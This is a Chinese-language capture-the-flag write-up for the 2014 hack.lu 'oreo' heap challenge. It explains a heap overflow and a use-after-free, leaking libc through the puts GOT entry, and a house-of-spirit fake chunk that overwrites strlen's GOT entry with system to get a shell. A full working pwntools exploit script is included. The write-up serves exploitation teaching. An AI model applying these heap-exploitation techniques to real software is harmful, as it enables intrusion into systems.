2014_hack_lu_oreo

查看保护

No RELRO和No PIE

分析

add_rifles

把原来的全局变量给修改成了malloc_ptr,这个功能在一开始先创建了0x38chunk,如果成功那么将v1放到malloc_ptr + 13的这个位置,接下来输入file name,并将其存储在malloc_ptr + 25的这个位置中。再次输入rifle description,将其存储在malloc_ptr的起始位置。

dbg一下,红色的为descption,蓝色的为name。这里有个漏洞点,fgets的时候在malloc_ptr + 25的位置会写入name,但是name最大长度为27个字节,而fgets可以写56,所以存在堆溢出。description也存在堆溢出。上自动化代码吧。

1
2
3
4
def add(des, name):
r.sendline('1')
r.sendline(name)
r.sendline(des)

show_rifles

这就是一个输出枪支信息的函数,也就是从malloc_ptr的位置开始输出,自动化吧。

1
2
def show():
r.sendline('2')

order_rifles

这个函数将malloc_ptr给了v2,v2又给了ptr,释放ptr,再将v2加13给ptr,再释放ptr,形成循环。但是这里有一个uaf,这里的ptr每次释放之后并没有清0,只是最后将malloc_ptr给清0了。

1
2
def order():
r.sendline('3')

leave_message

将订单留言给存放在某个地址里,可以输入128个字节数据。

1
2
3
def leave(message):
r.sendline('4')
r.sendline(message)

show_status

输出new和order的次数,显示message

1
2
def show_status():
r.sendline('5')

编写exp

先创建两个枪支信息看一下结构吧。

在显示枪支信息函数中,是以会调用前一个malloc_ptr的指针来确定下一个枪支,所以我们可以将malloc_ptr给覆盖成我们想要的地址,显示枪支信息时,第二个就会显示我们想要的地址

所以我们这样写枪支

1
2
name = 27 * b'b' + p32(elf.got['puts'])
add(25 * 'a', name)

可以看到malloc_ptr已经被覆盖成了puts_got,那么接下来直接show就可以看到puts_got的地址

1
2
3
4
5
6
show()
r.recvuntil('===================================')
r.recvuntil('===================================')
r.recvuntil('Description: ')
puts_addr = u32(r.recvuntil('\n', drop=True)[:4])
success('puts_got = ' + hex(puts_addr))

一开始直接写r.recvuntil(‘Description: ‘)结果接收不到,所以加了上面两个======,接收到了puts_got地址,那就直接一把梭

1
2
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']

拿到了sytem_addr,接下来就是想方设法的让某个got变成system就可以了,因为是fastbin,又有UAF可以直接house of spirit一把

使用house of spirit那就需要伪造fake_chunk,其实可以使用0x804A2A4这里的地址进行伪造cunk。

这里又创建了两个枪支信息,可以看到粉色框里是3,这个地址其实是纪录有几个枪支,我们创建10个枪支信息,那么这里就会变成10,其实这里就可以做为fake_chunk的size因为这里我们可以控制

上一个文章的fake_chunk的size为0x40那这里继续构造成40吧。

1
2
3
4
count = 1
while count < 0x3f:
add(25 * 'a', 'a' * 27 + p32(0))
count += 1

伪造第40个堆块,将malloc_ptr指向fake_chunk的malloc_ptr

1
2
payload = 'a' * 27 + p32(0x0804a2a8) 
add(25 * 'a', payload)

伪造堆块检查

伪造chunk的size大小为0x40,所以从0x804A2A8到0x804A2D8共0x30的空间都应该归属于伪造chunk,因此fake_chunk的后一个chunk的prev_size地址就应该为0x804a2e0
如果我们想在释放fake_chunk之后立刻就可以申请重新启用,那么后一个chunk的大小就应该大于fastbin的最大范围0x40(32位程序),这样在释放后fake_chunk就可以直接挂在fastbin中main_arena之前,那么这里可以将后一个chunk的size设置为0x100
由于后一个chunk的size大小超过的fastbin的最大值,那么后一个chunk的prev_size就需要标识前一个释放块fake_chunk的size,并且prev_inuse位要标志位0,即0x40。

因为0x804a2c0是留言指针,去除0x804A2A8到0x804A2B8中的24个字节

1
2
3
4
5
6
7
8
#0x20 * '\x00'用来空出fake_chunk的空间
#p32(0x40)作为next_chunk的prev_size
#p32(0x100)作为next_chunk的size
payload = 0x20 * b'\x00' + p32(0x40) + p32(0x100)
payload = payload.ljust(52, b'b')
payload += p32(0)
payload = payload.ljust(128, b'c')
leave(payload)

释放掉,将fake_chunk的fd修改成strlen的got,再次申请时就会修改strlen的got

1
2
3
4
order()
payload = p32(elf.got['strlen']).ljust(20, b'a')
add(payload, 'b' * 20)
leave(p32(system_addr) + ';/bin/sh\x00')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

context.binary = "./z1r0"
debug = 0
if debug:
r = remote()
else:
r = process('./z1r0')

elf = ELF("./z1r0")

libc = ELF('./2.23/libc-2.23.so')

def add(des, name):
r.sendline('1')
r.sendline(name)
r.sendline(des)

def show():
r.sendline('2')

def order():
r.sendline('3')

def leave(notice):
r.sendline('4')
r.sendline(notice)

def dbg():
gdb.attach(r)

name = 27 * b'b' + p32(elf.got['puts'])
add(25 * 'a', name)
show()

r.recvuntil('===================================\n')
r.recvuntil('===================================\n')
r.recvuntil('Description: ')

puts_addr = u32(r.recvuntil('\n', drop=True)[:4])
success('puts addr: ' + hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']

count = 1
while count < 0x3f:
add(25 * 'a', b'a' * 27 + p32(0))
count += 1

p1 = b'a' * 27 + p32(0x0804a2a8)
add(25 * 'a', p1)

payload = 0x20 * b'\x00' + p32(0x40) + p32(0x100)
payload = payload.ljust(52, b'b')
payload += p32(0)
payload = payload.ljust(128, b'c')
leave(payload)
order()

payload = p32(elf.got['strlen']).ljust(20, b'a')
add(payload, 'b' * 20)

leave(p32(system_addr) + b';/bin/sh\x00')

r.interactive()